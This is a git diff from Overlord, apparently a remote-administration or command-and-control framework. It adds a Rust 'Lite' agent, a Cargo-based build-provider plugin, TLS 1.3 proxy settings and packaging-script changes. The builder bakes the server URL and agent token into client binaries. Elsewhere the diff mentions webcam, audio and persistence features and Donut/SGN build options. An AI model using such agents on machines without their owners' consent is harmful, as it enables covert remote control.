buildConfig: any,
requiredProviderId?: string,
): Promise<{ value: Record<string, any>; error?: string }> {
if (!raw || typeof raw !== "object" || !deps.listPluginManifests) return { value: {} };
if (!deps.listPluginManifests) return { value: {} };
const manifests = await deps.listPluginManifests();
const byId = new Map(manifests.map((m) => [m.id, m]));
const value: Record<string, any> = {};
for (const [pluginId, rawPlugin] of Object.entries(raw)) {
const requested = raw && typeof raw === "object" && !Array.isArray(raw) ? { ...raw } : {};
if (requiredProviderId) {
const providerRecord = requested[requiredProviderId];
requested[requiredProviderId] = {
...(providerRecord && typeof providerRecord === "object" ? providerRecord : {}),
enabled: true,
};
}
for (const [pluginId, rawPlugin] of Object.entries(requested)) {
if (!/^[A-Za-z0-9._-]{1,128}$/.test(pluginId)) continue;
const manifest = byId.get(pluginId);
if (!manifest?.build || !canUserAccessPlugin(user.userId, user.role, pluginId)) continue;
@@ -183,6 +192,7 @@ export async function handleBuildRoutes(
const body = await req.json();
const {
platforms,
buildProvider,
serverUrl,
rawServerList,
solMemo,
@@ -263,6 +273,37 @@ export async function handleBuildRoutes(
return Response.json({ error: "No valid platforms specified" }, { status: 400 });
}
let safeBuildProvider: string | undefined;
if (buildProvider !== undefined && buildProvider !== null && String(buildProvider).trim()) {
const providerId = String(buildProvider).trim();
if (!/^[A-Za-z0-9._-]{1,128}$/.test(providerId) || !deps.listPluginManifests) {
return Response.json({ error: "Invalid build provider" }, { status: 400 });
}
const manifests = await deps.listPluginManifests();
const manifest = manifests.find((item) => item?.id === providerId);
if (
!manifest?.build?.provider ||
manifest?.hasServer !== true ||
manifest?.enabled === false ||
!canUserAccessPlugin(user.userId, user.role, providerId)
) {
return Response.json({ error: "Build provider is unavailable" }, { status: 403 });
}
const providerPlatforms = new Set(
Array.isArray(manifest.build.provider.platforms)
? manifest.build.provider.platforms
: [],
);
const unsupported = allowedPlatforms.filter((platform) => !providerPlatforms.has(platform));
if (unsupported.length > 0) {
return Response.json(
{ error: `Build provider ${manifest.name || providerId} does not support: ${unsupported.join(", ")}` },
{ status: 400 },
);
}
safeBuildProvider = providerId;
}
const safeRawServerList = !!rawServerList;
const safeSolMemo = !!solMemo;
const safeServerUrl =
@@ -383,7 +424,7 @@ export async function handleBuildRoutes(
username: user.username,
ip,
action: AuditAction.COMMAND,
details: `Started build ${buildId} for platforms: ${allowedPlatforms.join(", ")}`,
details: `Started ${safeBuildProvider ? `${safeBuildProvider} provider ` : ""}build ${buildId} for platforms: ${allowedPlatforms.join(", ")}`,
success: true,
});
@@ -438,7 +479,7 @@ export async function handleBuildRoutes(
{ status: 400 },
);
}
const needsMacosSdk = hasDarwinTarget && !disableCgo && process.platform === "linux";
const needsMacosSdk = !safeBuildProvider && hasDarwinTarget && !disableCgo && process.platform === "linux";
if (safeOutputSgnTxt) {
const hasSgnCapableTarget = allowedPlatforms.some((p) =>
(!!useDonut && p.startsWith("windows-")) ||
@@ -515,6 +556,7 @@ export async function handleBuildRoutes(
const safeBuildConfig: any = {
platforms: allowedPlatforms,
buildProvider: safeBuildProvider,
serverUrl: safeServerUrl,
rawServerList: safeRawServerList,
solMemo: safeSolMemo,
@@ -572,7 +614,13 @@ export async function handleBuildRoutes(
uploadToFileShare: safeUploadToFileShare,
};
const pluginBuildResult = await sanitizeBuildPlugins(buildPlugins, deps, user, safeBuildConfig);
const pluginBuildResult = await sanitizeBuildPlugins(
buildPlugins,
deps,
user,
safeBuildConfig,
safeBuildProvider,
);
if (pluginBuildResult.error) {
if (rateLimitActive) recordBuildEnd(user.userId);
return Response.json({ error: pluginBuildResult.error }, { status: 400 });
+14
View File
@@ -27,6 +27,7 @@ bare-metal installation is strongly recommended instead of Docker Desktop.
- [Linux](#linux)
- [macOS](#macos)
- [Native Bare-Metal Installation](#native-bare-metal-installation)
- [Rust Lite Agent](#rust-lite-agent)
- [Production Package Scripts](#production-package-scripts)
- [WebRTC Streaming](#webrtc-streaming)
- [OIDC / SSO Login](#oidc--sso-login)
@@ -364,6 +365,15 @@ Production mode:
---
## Rust Lite Agent
`Overlord-Lite` is an experimental Rust client focused on authenticated
connections, TLS identity pinning, and heartbeat/reconnect behavior. It
supports interactive TTY console sessions while omitting plugins plus the full
Go agent's desktop, webcam, audio, persistence, and OS-integration features.
See [Overlord-Lite/README.md](Overlord-Lite/README.md) for build instructions,
configuration, and Build-page integration.
## Production Package Scripts
Build a production-ready package where the server can still build client binaries at runtime.
@@ -668,6 +678,10 @@ Restart Overlord after changing `.env`. The reverse proxy upstream is then
and use timeouts/body limits suitable for long sessions and file uploads.
Ready-to-copy Caddy and nginx configurations are in `deploy/reverse-proxy/`.
Those examples accept TLS 1.3 only. This is also the required deployment mode
when strict TLS 1.3 rejection is needed: Bun's native `Bun.serve` TLS listener
currently negotiates TLS 1.3 by preference but does not expose an effective
per-server minimum-version setting.
When enabled:
+4
View File
@@ -1,6 +1,10 @@
# Replace overlord.example.com with the public DNS name. Caddy obtains and
# renews the public certificate automatically.
overlord.example.com {
tls {
protocols tls1.3
}
reverse_proxy 127.0.0.1:5173 {
header_up Host {host}
header_up X-Forwarded-Proto https
+1
View File
@@ -11,6 +11,7 @@ server {
ssl_certificate /etc/letsencrypt/live/overlord.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/overlord.example.com/privkey.pem;
ssl_protocols TLSv1.3;
# Keep this at least as large as the uploads allowed by Overlord.
client_max_body_size 2g;
+2 -1
View File
@@ -40,8 +40,9 @@ Use `runtime: "native"` for agent-side plugins that need direct OS APIs, native
| Directory | Purpose |
|-----------|---------|
| `rust-lite-builder` | Server-side custom provider that builds the authenticated Rust Lite agent. |
| `sample-build-hooks` | Server-only build plugin with its own Build page button and artifact replacement example. |
| `sample-ts-fullstack` | TypeScript UI plus TypeScript server runtime. |
| `sample-c`, `sample-cpp`, `sample-go`, `sample-rust` | Native agent plugin examples. |
Start with [docs/server-side-plugins.md](docs/server-side-plugins.md) if you are building uploaders, custom build buttons, artifact post-processing, or internal release hooks.
Start with [docs/server-side-plugins.md](docs/server-side-plugins.md) if you are building custom agent providers, uploaders, build buttons, artifact post-processing, or internal release hooks.
+2 -1
View File
@@ -4,6 +4,7 @@ The `plugins/` directory includes small examples that exercise each plugin style
| Directory | Demonstrates |
|-----------|--------------|
| `rust-lite-builder` | Custom server-side build provider that compiles the Rust Lite agent through the standard builder lifecycle. |
| `sample-build-hooks` | Server-only build plugin, custom Build page action, build settings, and replacing the produced artifact with a `.txt` file. |
| `sample-ts-fullstack` | TypeScript UI and TypeScript server runtime with shared local modules. |
| `sample-c` | Native C plugin for the smallest unloadable ABI surface. |
@@ -11,4 +12,4 @@ The `plugins/` directory includes small examples that exercise each plugin style
| `sample-go` | Native Go plugin. Go plugins are intentionally not unloaded because the Go runtime cannot be safely unloaded from shared libraries. |
| `sample-rust` | Native Rust plugin with C ABI exports and unload-friendly runtime handling. |
Use `sample-build-hooks` as the starting point for uploaders, artifact publishers, or custom release buttons.
Use `rust-lite-builder` as the starting point for a fully custom agent compiler. Use `sample-build-hooks` for uploaders, artifact publishers, or custom release buttons around the built-in agent.
+49
View File
@@ -297,6 +297,55 @@ Buttons in `build.actions` can set core builder fields through `setBuild` and pl
See `plugins/sample-build-hooks` for a minimal server-only build plugin with its own build button and artifact replacement.
## Custom Build Providers
A server-only plugin can replace the built-in Go compilation step while keeping the normal Build page, permissions, audit log, progress stream, artifact hooks, file-share upload, build history, and expiration handling. Declare the provider and export `onBuild`:
```json
{
"runtime": "server",
"build": {
"provider": {
"label": "My Lite Agent",
"description": "Builds the reduced agent implementation.",
"icon": "fa-solid fa-feather",
"platforms": ["windows-amd64", "linux-amd64"]
}
}
}
```
```js
export default {
async onBuild(ctx, payload) {
ctx.build.status("Compiling lite agent...");
ctx.build.output("Compiler started", "info");
// Write only inside payload.outputDir.
const filename = `lite-${payload.platforms[0]}`;
await compileAgent({ output: `${payload.outputDir}/${filename}` });
return {
artifacts: [{
name: "Lite Agent",
filename,
platform: payload.platforms[0],
version: "1.0.0"
}]
};
}
};
```
The provider payload contains `buildId`, `providerId`, `runtimeRoot`, a temporary `outputDir`, selected `platforms`, `serverUrl`, `agentToken`, signed `buildTag`, `tlsSpkiPins`, `initialClientTag`, `outputName`, provider `settings`, and the sanitized full build `config`.
An artifact entry must contain a selected `platform` and either `filename` or a relative `path` beneath `outputDir`. Optional fields are `name` and `version`. Provider output is limited to 32 regular, non-symlink files of at most 512 MB each. The server validates containment, copies approved files into `dist-clients`, adds the build ID suffix, then invokes normal artifact and completion hooks.
`ctx.build.output(text, level)` accepts `debug`, `info`, `success`, `warn`, or `error`. `ctx.build.status(text, progress?, etaSeconds?)` changes the Build page status line and can display a progress bar and estimated time remaining. Progress is a number from 0 through 100. These methods exist only during `onBuild`.
The selected provider must be enabled, include server code, support every requested target, and be accessible to the building user. A provider plugin is forced on for its own build, even if a modified request marks its hook settings as disabled.
See `plugins/rust-lite-builder` for a complete provider that invokes Cargo and embeds authenticated connection defaults into Overlord Lite.
## RBAC And Build Plugin Access
Build-hook plugins use the normal per-user plugin access policy. Admins can open a user in the Users page, choose Plugin Access, and set one of these modes:
+41
View File
@@ -0,0 +1,41 @@
# Rust Lite Builder Plugin
This trusted server-only plugin registers Rust Lite as an agent build provider.
Select **Rust Lite** from the Builder's **Agent Type** field, choose targets, and
start the build normally. Output, history, downloads, expiration, rate limits,
RBAC, and artifact hooks remain owned by the Overlord server.
The resulting client supports authenticated enrollment, TLS identity pinning,
heartbeat, reconnect behavior, and interactive TTY console sessions. It
intentionally contains no plugin loader or other remote command handlers.
During compilation the Build page shows estimated overall/target percentages,
completed Cargo crates, elapsed time, the current compile or link/LTO phase,
and a rolling ETA. Cargo does not expose exact link progress, so percentages
and ETA are estimates. Completed target durations are retained in plugin data
to improve later estimates, and the persistent Cargo target directory makes
subsequent builds substantially faster.
The **Cargo Jobs** setting defaults to `0`, which leaves parallelism at Cargo's
host-CPU default. Set a positive number only when the server needs an explicit
resource cap. The plugin cache is separate from `Overlord-Lite/target`, so the
first plugin build does not reuse artifacts from a manual source-tree build.
The server host needs Rust 1.88 or newer. Native-host builds work with the
standard Rust installation. Cross-target builds additionally require the target
from `rustup target add <triple>` and a compatible linker/toolchain.
The plugin locates `Overlord-Lite` beside the server runtime or under its
`dist/` directory. Production package scripts copy that source automatically.
Builder releases compile in the selected server URL, agent token, and signed
build tag. Runtime `OVERLORD_SERVER`, `OVERLORD_AGENT_TOKEN`, and
`OVERLORD_BUILD_TAG` variables can still override those defaults.
Builds also embed the server's active TLS SPKI pins. This lets Lite clients
trust the server's generated self-signed certificate without disabling
certificate verification and protects later HTTPS plugin downloads too.
All provider builds use Cargo's `--release` profile. That profile uses
`opt-level = "z"`, full LTO, one codegen unit, symbol stripping, and
`panic = "abort"`.
+8
View File
@@ -0,0 +1,8 @@
@echo off
setlocal
set "PLUGIN_ID=rust-lite-builder"
set "OUT=%~dp0%PLUGIN_ID%.zip"
if exist "%OUT%" del /q "%OUT%"
powershell -NoProfile -ExecutionPolicy Bypass -Command "Compress-Archive -Path '%~dp0config.json','%~dp0rust-lite-builder.html','%~dp0rust-lite-builder.css','%~dp0rust-lite-builder.js','%~dp0server.js' -DestinationPath '%OUT%' -Force"
if errorlevel 1 exit /b 1
echo [ok] %OUT%
+7
View File
@@ -0,0 +1,7 @@
#!/usr/bin/env bash
set -euo pipefail
ROOT="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)"
cd "$ROOT"
rm -f rust-lite-builder.zip
zip -q rust-lite-builder.zip config.json rust-lite-builder.html rust-lite-builder.css rust-lite-builder.js server.js
echo "[ok] $ROOT/rust-lite-builder.zip"
+58
View File
@@ -0,0 +1,58 @@
{
"name": "Rust Lite Builder",
"version": "1.2.0",
"apiVersion": 2,
"runtime": "server",
"description": "Adds a dedicated builder for the authenticated Rust Lite agent with an interactive TTY console.",
"build": {
"label": "Rust Lite Builder",
"description": "Builds the lightweight Rust client instead of the full Go agent.",
"enabledByDefault": true,
"provider": {
"label": "Rust Lite",
"description": "Authenticated sessions, TLS pinning, heartbeat, and an interactive TTY console.",
"icon": "fa-brands fa-rust",
"platforms": [
"windows-amd64",
"windows-arm64",
"linux-amd64",
"linux-arm64",
"darwin-amd64",
"darwin-arm64"
]
},
"settings": [
{
"key": "locked",
"label": "Require Cargo.lock",
"type": "boolean",
"default": true,
"description": "Build with --locked for reproducible dependency resolution."
},
{
"key": "jobs",
"label": "Cargo Jobs",
"type": "number",
"default": 0,
"min": 0,
"max": 32,
"description": "Parallel Cargo jobs. Use 0 to let Cargo use the host's available CPUs."
}
],
"actions": [
{
"id": "use-rust-lite",
"label": "Use Rust Lite Builder",
"icon": "fa-brands fa-rust",
"description": "Selects Rust Lite as the active agent builder.",
"setBuild": {
"buildProvider": "rust-lite-builder"
}
}
]
},
"navbar": {
"label": "Rust Lite",
"icon": "fa-brands fa-rust"
}
}
@@ -0,0 +1,49 @@
.rust-lite-builder {
display: grid;
gap: 1rem;
color: #e2e8f0;
}
.rust-lite-builder header {
display: flex;
align-items: flex-start;
justify-content: space-between;
gap: 1rem;
}
.rust-lite-builder h2 {
margin: 0.15rem 0 0.35rem;
font-size: 1.5rem;
}
.rust-lite-builder p {
margin: 0;
color: #94a3b8;
}
.rust-lite-builder .eyebrow {
color: #fb923c;
font-size: 0.75rem;
font-weight: 700;
letter-spacing: 0.08em;
text-transform: uppercase;
}
.rust-lite-builder button {
border: 1px solid #c2410c;
border-radius: 0.5rem;
background: #9a3412;
color: white;
cursor: pointer;
padding: 0.55rem 0.8rem;
}
.rust-lite-builder pre {
min-height: 8rem;
overflow: auto;
border: 1px solid #334155;
border-radius: 0.65rem;
background: #0f172a;
padding: 1rem;
white-space: pre-wrap;
}
@@ -0,0 +1,11 @@
<main class="rust-lite-builder">
<header>
<div>
<p class="eyebrow">Server build provider</p>
<h2>Rust Lite Builder</h2>
<p>Builds the authenticated Rust agent with interactive TTY console support through the normal Overlord build workflow.</p>
</div>
<button id="rust-lite-refresh" type="button">Refresh status</button>
</header>
<pre id="rust-lite-status">Loading...</pre>
</main>
@@ -0,0 +1,21 @@
const statusOutput = document.getElementById("rust-lite-status");
const refreshButton = document.getElementById("rust-lite-refresh");
async function refreshStatus() {
statusOutput.textContent = "Checking Rust Lite builder...";
try {
const response = await fetch("/api/plugins/rust-lite-builder/rpc", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ method: "status", params: {} }),
});
const body = await response.json();
if (!body.ok) throw new Error(body.error || "Status check failed");
statusOutput.textContent = JSON.stringify(body.result, null, 2);
} catch (error) {
statusOutput.textContent = `Error: ${error?.message || error}`;
}
}
refreshButton?.addEventListener("click", refreshStatus);
refreshStatus();
+415
View File
@@ -0,0 +1,415 @@
import fs from "fs";
import path from "path";
const TARGETS = {
"windows-amd64": { windows: "x86_64-pc-windows-msvc", other: "x86_64-pc-windows-gnu", extension: ".exe" },
"windows-arm64": { windows: "aarch64-pc-windows-msvc", other: "aarch64-pc-windows-gnullvm", extension: ".exe" },
"linux-amd64": { all: "x86_64-unknown-linux-gnu", extension: "" },
"linux-arm64": { all: "aarch64-unknown-linux-gnu", extension: "" },
"darwin-amd64": { all: "x86_64-apple-darwin", extension: "" },
"darwin-arm64": { all: "aarch64-apple-darwin", extension: "" },
};
function rustTarget(platform) {
const target = TARGETS[platform];
if (!target) throw new Error(`Unsupported Rust Lite platform: ${platform}`);
return process.platform === "win32" ? (target.windows || target.all) : (target.other || target.all);
}
function findSource(runtimeRoot) {
const candidates = [
path.join(runtimeRoot, "Overlord-Lite"),
path.join(runtimeRoot, "dist", "Overlord-Lite"),
path.join(runtimeRoot, "..", "Overlord-Lite"),
];
for (const candidate of candidates) {
if (fs.existsSync(path.join(candidate, "Cargo.toml"))) return candidate;
}
throw new Error(`Overlord-Lite source not found. Checked: ${candidates.join(", ")}`);
}
async function capture(command, cwd) {
const proc = Bun.spawn(command, { cwd, stdout: "pipe", stderr: "pipe" });
const [stdout, stderr, exitCode] = await Promise.all([
new Response(proc.stdout).text(),
new Response(proc.stderr).text(),
proc.exited,
]);
if (exitCode !== 0) throw new Error(stderr.trim() || `${command[0]} exited with ${exitCode}`);
return stdout.trim();
}
async function streamPipe(stream, onLine) {
const reader = stream.getReader();
const decoder = new TextDecoder();
let pending = "";
while (true) {
const { done, value } = await reader.read();
pending += decoder.decode(value || new Uint8Array(), { stream: !done });
const lines = pending.split(/\r?\n/);
pending = lines.pop() || "";
for (const line of lines) if (line.trim()) onLine(line);
if (done) break;
}
if (pending.trim()) onLine(pending);
}
function packageVersion(sourceDir) {
const cargo = fs.readFileSync(path.join(sourceDir, "Cargo.toml"), "utf8");
return cargo.match(/^version\s*=\s*"([^"]+)"/m)?.[1] || "unknown";
}
function formatDuration(milliseconds) {
const seconds = Math.max(0, Math.round(milliseconds / 1000));
if (seconds < 60) return `${seconds}s`;
const minutes = Math.floor(seconds / 60);
const remainingSeconds = seconds % 60;
if (minutes < 60) return remainingSeconds ? `${minutes}m ${remainingSeconds}s` : `${minutes}m`;
const hours = Math.floor(minutes / 60);
const remainingMinutes = minutes % 60;
return remainingMinutes ? `${hours}h ${remainingMinutes}m` : `${hours}h`;
}
async function estimatePackageCount(sourceDir, target, locked) {
const args = [
"cargo",
"tree",
"--target",
target,
"--prefix",
"none",
"--format",
"{p}",
];
if (locked) args.push("--locked");
const output = await capture(args, sourceDir);
const packages = new Set(
output
.split(/\r?\n/)
.map((line) => line.replace(/ \(\*\)$/, "").replace(/ \(proc-macro\)$/, "").trim())
.filter(Boolean),
);
return packages.size;
}
function readBuildHistory(dataDir) {
try {
const parsed = JSON.parse(fs.readFileSync(path.join(dataDir, "build-history.json"), "utf8"));
return parsed && typeof parsed === "object" ? parsed : {};
} catch {
return {};
}
}
function recordBuildDuration(dataDir, target, durationMs) {
const historyPath = path.join(dataDir, "build-history.json");
const history = readBuildHistory(dataDir);
const previous = Number(history[target]?.durationMs);
const samples = Math.max(0, Number(history[target]?.samples) || 0) + 1;
history[target] = {
durationMs: Number.isFinite(previous)
? Math.round(previous * 0.6 + durationMs * 0.4)
: Math.round(durationMs),
samples,
updatedAt: Date.now(),
};
try {
fs.writeFileSync(historyPath, JSON.stringify(history, null, 2));
} catch {
// Progress history is optional; a read-only data directory must not fail the build.
}
}
function createTargetProgress(ctx, options) {
const DEFAULT_LINK_BUDGET_MS = 35_000;
const startedAt = Date.now();
const packageStates = new Map();
let linking = false;
let linkingStartedAt = null;
let finalizing = false;
let finished = false;
let lastStatusAt = 0;
let lastLoggedBucket = -1;
function snapshot() {
const elapsedMs = Date.now() - startedAt;
const completedPackages = packageStates.size;
const freshPackages = Array.from(packageStates.values()).filter(Boolean).length;
const packageRatio = options.estimatedPackages > 0
? Math.min(1, completedPackages / options.estimatedPackages)
: 0;
const historicalDurationMs = Number.isFinite(options.historicalDurationMs)
? options.historicalDurationMs
: null;
const linkBudgetMs = historicalDurationMs === null
? DEFAULT_LINK_BUDGET_MS
: Math.max(10_000, historicalDurationMs * 0.4);
const linkingElapsedMs = linkingStartedAt === null ? 0 : Date.now() - linkingStartedAt;
let targetRatio = Math.min(0.7, packageRatio * 0.7);
if (linking) {
const estimatedLinkRatio = Math.min(0.95, linkingElapsedMs / linkBudgetMs);
targetRatio = Math.max(targetRatio, 0.7 + estimatedLinkRatio * 0.28);
}
if (finalizing) targetRatio = Math.max(targetRatio, 0.98);
if (finished) targetRatio = 1;
const overallRatio = (options.targetIndex + targetRatio) / options.targetCount;
let predictedTargetMs = null;
if (historicalDurationMs !== null && historicalDurationMs > 0) {
predictedTargetMs = Math.max(elapsedMs, historicalDurationMs);
}
if (linking && historicalDurationMs === null) {
predictedTargetMs = elapsedMs + Math.max(5_000, linkBudgetMs - linkingElapsedMs);
} else if (!linking && elapsedMs >= 5_000 && packageRatio >= 0.05) {
const rollingPrediction = elapsedMs / packageRatio + linkBudgetMs;
predictedTargetMs = predictedTargetMs === null
? rollingPrediction
: predictedTargetMs * 0.65 + rollingPrediction * 0.35;
}
const etaMs = predictedTargetMs === null || finished
? null
: Math.max(
0,
predictedTargetMs - elapsedMs +
(options.targetCount - options.targetIndex - 1) * predictedTargetMs,
);
return {
elapsedMs,
completedPackages,
freshPackages,
targetRatio,
overallRatio,
etaMs,
};
}
function emit(force = false) {
const now = Date.now();
if (!force && now - lastStatusAt < 1_500) return;
lastStatusAt = now;
const state = snapshot();
const targetPercent = Math.round(state.targetRatio * 100);
const overallPercent = Math.round(state.overallRatio * 100);
const phase = finalizing
? "finalizing artifact"
: linking
? "linking + LTO"
: "compiling";
const pieces = [
`Rust Lite ${options.platform} (${options.targetIndex + 1}/${options.targetCount})`,
`${overallPercent}% overall`,
`${targetPercent}% target`,
phase,
];
if (options.estimatedPackages > 0) {
pieces.push(`${state.completedPackages}/${options.estimatedPackages} crates`);
}
pieces.push(`${formatDuration(state.elapsedMs)} elapsed`);
if (state.etaMs !== null && state.etaMs >= 1_000) {
pieces.push(`ETA ~${formatDuration(state.etaMs)}`);
}
const text = pieces.join(" • ");
ctx.build.status(
text,
Math.min(100, state.overallRatio * 100),
state.etaMs === null ? undefined : Math.ceil(state.etaMs / 1000),
);
const bucket = Math.floor(overallPercent / 10);
if (bucket > lastLoggedBucket && overallPercent > 0) {
lastLoggedBucket = bucket;
ctx.build.output(`Progress: ${text}`);
}
}
return {
startedAt,
noteArtifact(packageId, fresh) {
const previous = packageStates.get(packageId);
packageStates.set(packageId, previous === false ? false : fresh === true);
emit();
},
markLinking() {
linking = true;
linkingStartedAt ??= Date.now();
emit(true);
},
markFinalizing() {
finalizing = true;
emit(true);
},
markFinished() {
finished = true;
emit(true);
return snapshot();
},
emit,
};
}
export default {
setup(ctx) {
ctx.log.info("Rust Lite build provider ready");
},
async onBuild(ctx, payload) {
const sourceDir = findSource(String(payload.runtimeRoot || ""));
const outputDir = path.resolve(String(payload.outputDir || ""));
const targetDir = path.join(ctx.dataDir, "cargo-target");
const platforms = Array.isArray(payload.platforms) ? payload.platforms : [];
if (platforms.length === 0) throw new Error("No Rust Lite platforms were requested");
fs.mkdirSync(outputDir, { recursive: true });
fs.mkdirSync(targetDir, { recursive: true });
const cargoVersion = await capture(["cargo", "--version"], sourceDir);
ctx.build.output(`Using ${cargoVersion}`);
ctx.build.output(`Rust Lite source: ${sourceDir}`);
const settings = payload.settings && typeof payload.settings === "object" ? payload.settings : {};
const tlsSpkiPins = Array.isArray(payload.tlsSpkiPins)
? payload.tlsSpkiPins.map(String).filter(Boolean)
: [];
if (tlsSpkiPins.length > 0) {
ctx.build.output(
`TLS identity pinning: enabled (${tlsSpkiPins.length} trusted key${tlsSpkiPins.length === 1 ? "" : "s"})`,
);
} else {
ctx.build.output("WARNING: No TLS SPKI pin is available for this build", "warn");
}
const requestedJobs = Math.trunc(Number(settings.jobs));
const jobs = Number.isFinite(requestedJobs) && requestedJobs > 0
? Math.max(1, Math.min(32, requestedJobs))
: null;
const version = packageVersion(sourceDir);
const artifacts = [];
const history = readBuildHistory(ctx.dataDir);
for (const [targetIndex, platform] of platforms.entries()) {
const target = rustTarget(platform);
const locked = settings.locked !== false;
let estimatedPackages = 0;
try {
estimatedPackages = await estimatePackageCount(sourceDir, target, locked);
} catch (error) {
ctx.build.output(`Package-count estimate unavailable: ${error?.message || error}`, "warn");
}
const progress = createTargetProgress(ctx, {
platform,
targetIndex,
targetCount: platforms.length,
estimatedPackages,
historicalDurationMs: Number(history[target]?.durationMs) || null,
});
progress.emit(true);
ctx.build.output(`\n=== Rust Lite ${platform} (${target}) ===`);
ctx.build.output(
`Release profile: opt-level=z, LTO, 1 codegen unit, stripped symbols, panic=abort`,
);
ctx.build.output(`Cargo jobs: ${jobs === null ? "automatic (host CPU count)" : jobs}`);
if (estimatedPackages > 0) ctx.build.output(`Estimated dependency graph: ${estimatedPackages} crates`);
const args = [
"cargo",
"build",
"--release",
"--target",
target,
"--message-format=json-render-diagnostics",
];
if (jobs !== null) args.push("--jobs", String(jobs));
if (locked) args.push("--locked");
const env = {
...process.env,
CARGO_TARGET_DIR: targetDir,
OVERLORD_LITE_DEFAULT_SERVER: String(payload.serverUrl || ""),
OVERLORD_LITE_DEFAULT_AGENT_TOKEN: String(payload.agentToken || ""),
OVERLORD_LITE_DEFAULT_BUILD_TAG: String(payload.buildTag || ""),
OVERLORD_LITE_DEFAULT_TLS_SPKI_PINS: tlsSpkiPins.join(","),
};
const proc = Bun.spawn(args, {
cwd: sourceDir,
env,
stdin: "ignore",
stdout: "pipe",
stderr: "pipe",
});
const progressTimer = setInterval(() => progress.emit(), 2_000);
let exitCode;
try {
await Promise.all([
streamPipe(proc.stdout, (line) => {
let message;
try {
message = JSON.parse(line);
} catch {
ctx.build.output(line, "info");
return;
}
if (message.reason === "compiler-artifact" && typeof message.package_id === "string") {
progress.noteArtifact(message.package_id, message.fresh === true);
} else if (message.reason === "compiler-message" && message.message?.rendered) {
const level = message.message.level === "error"
? "error"
: message.message.level === "warning"
? "warn"
: "info";
ctx.build.output(String(message.message.rendered).trimEnd(), level);
}
}),
streamPipe(proc.stderr, (line) => {
if (/^\s*Compiling\s+overlord-lite\b/i.test(line)) progress.markLinking();
ctx.build.output(line, /^\s*error(?:\[|:)/i.test(line) ? "error" : "info");
}),
]);
exitCode = await proc.exited;
} finally {
clearInterval(progressTimer);
}
if (exitCode !== 0) {
throw new Error(
`Cargo failed for ${platform} (exit ${exitCode}). Install the ${target} Rust target and its required cross-linker.`,
);
}
progress.markFinalizing();
const extension = TARGETS[platform].extension;
const builtPath = path.join(targetDir, target, "release", `overlord-lite${extension}`);
if (!fs.existsSync(builtPath)) throw new Error(`Cargo did not create ${builtPath}`);
const baseName = String(payload.outputName || "overlord-lite").replace(/[^A-Za-z0-9._-]/g, "") || "overlord-lite";
const filename = `${baseName}-${platform}${extension}`;
fs.copyFileSync(builtPath, path.join(outputDir, filename));
artifacts.push({
name: `Overlord Lite ${platform}`,
filename,
platform,
version,
});
const completed = progress.markFinished();
recordBuildDuration(ctx.dataDir, target, completed.elapsedMs);
const compiledPackages = Math.max(0, completed.completedPackages - completed.freshPackages);
ctx.build.output(
`Completed ${platform} in ${formatDuration(completed.elapsedMs)} ` +
`(${completed.freshPackages} cached, ${compiledPackages} compiled crates)`,
"success",
);
ctx.build.output(`Artifact ready: ${filename}`, "success");
}
return { artifacts };
},
rpc: {
async status(_ctx, _params) {
let cargo = null;
try {
cargo = await capture(["cargo", "--version"], process.cwd());
} catch (error) {
cargo = `Unavailable: ${error?.message || error}`;
}
return {
cargo,
host: `${process.platform}-${process.arch}`,
note: "Cross-target builds require the corresponding rustup target and linker.",
};
},
},
};
+29 -11
View File
@@ -4,6 +4,8 @@ set "SCRIPT_DIR=%~dp0"
for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\"
set "SERVER_SRC=%ROOT%Overlord-Server"
set "CLIENT_SRC=%ROOT%Overlord-Client"
set "LITE_SRC=%ROOT%Overlord-Lite"
set "LITE_PLUGIN_SRC=%ROOT%plugins\rust-lite-builder"
set "RELEASE_DIR=%ROOT%release"
if not exist "%SERVER_SRC%\package.json" (
@@ -16,6 +18,16 @@ if not exist "%CLIENT_SRC%\go.mod" (
exit /b 1
)
if not exist "%LITE_SRC%\Cargo.toml" (
echo [error] Overlord-Lite not found at: %LITE_SRC%
exit /b 1
)
if not exist "%LITE_PLUGIN_SRC%\config.json" (
echo [error] Rust Lite Builder plugin not found at: %LITE_PLUGIN_SRC%
exit /b 1
)
where bun >nul 2>&1
if errorlevel 1 (
echo [error] bun was not found in PATH.
@@ -28,34 +40,34 @@ if errorlevel 1 (
exit /b 1
)
echo [1/10] Building server bundle and web assets...
echo [1/11] Building server bundle and web assets...
pushd "%SERVER_SRC%"
call bun install
if errorlevel 1 goto :err
call bun run build
if errorlevel 1 goto :err
echo [2/10] Compiling Windows production executable...
echo [2/11] Compiling Windows production executable...
call bun run build:prod:win
if errorlevel 1 goto :err
echo [3/10] Compiling Linux production executable...
echo [3/11] Compiling Linux production executable...
call bun run build:prod:linux
if errorlevel 1 goto :err
popd
echo [4/10] Skipping prebuilt client binaries ^(prod package exports client source only^)
echo [4/11] Skipping prebuilt client binaries ^(prod package exports client source only^)
echo [5/10] Preparing release folder...
echo [5/11] Preparing release folder...
if exist "%RELEASE_DIR%" rmdir /s /q "%RELEASE_DIR%"
mkdir "%RELEASE_DIR%"
if errorlevel 1 goto :err
echo [6/10] Copying compiled server executables...
echo [6/11] Copying compiled server executables...
copy /Y "%SERVER_SRC%\dist\overlord-server.exe" "%RELEASE_DIR%\overlord-server.exe" >nul
if errorlevel 1 goto :err
copy /Y "%SERVER_SRC%\dist\overlord-server-linux-x64" "%RELEASE_DIR%\overlord-server-linux-x64" >nul
if errorlevel 1 goto :err
echo [6b/10] Copying sharp native module for runtime resolution...
echo [6b/11] Copying sharp native module for runtime resolution...
if exist "%SERVER_SRC%\node_modules\sharp" (
robocopy "%SERVER_SRC%\node_modules\sharp" "%RELEASE_DIR%\node_modules\sharp" /E >nul
if errorlevel 8 goto :robocopy_err
@@ -65,21 +77,27 @@ if exist "%SERVER_SRC%\node_modules\@img" (
if errorlevel 8 goto :robocopy_err
)
echo [7/10] Exporting Overlord-Client source for runtime builds...
echo [7/11] Exporting Overlord-Client source for runtime builds...
robocopy "%CLIENT_SRC%" "%RELEASE_DIR%\Overlord-Client" /E /XD build .git .vscode >nul
if errorlevel 8 goto :robocopy_err
echo [8/10] Copying required public web assets...
echo [8/11] Exporting Overlord-Lite source and Rust builder plugin...
robocopy "%LITE_SRC%" "%RELEASE_DIR%\Overlord-Lite" /E /XD target .git .vscode >nul
if errorlevel 8 goto :robocopy_err
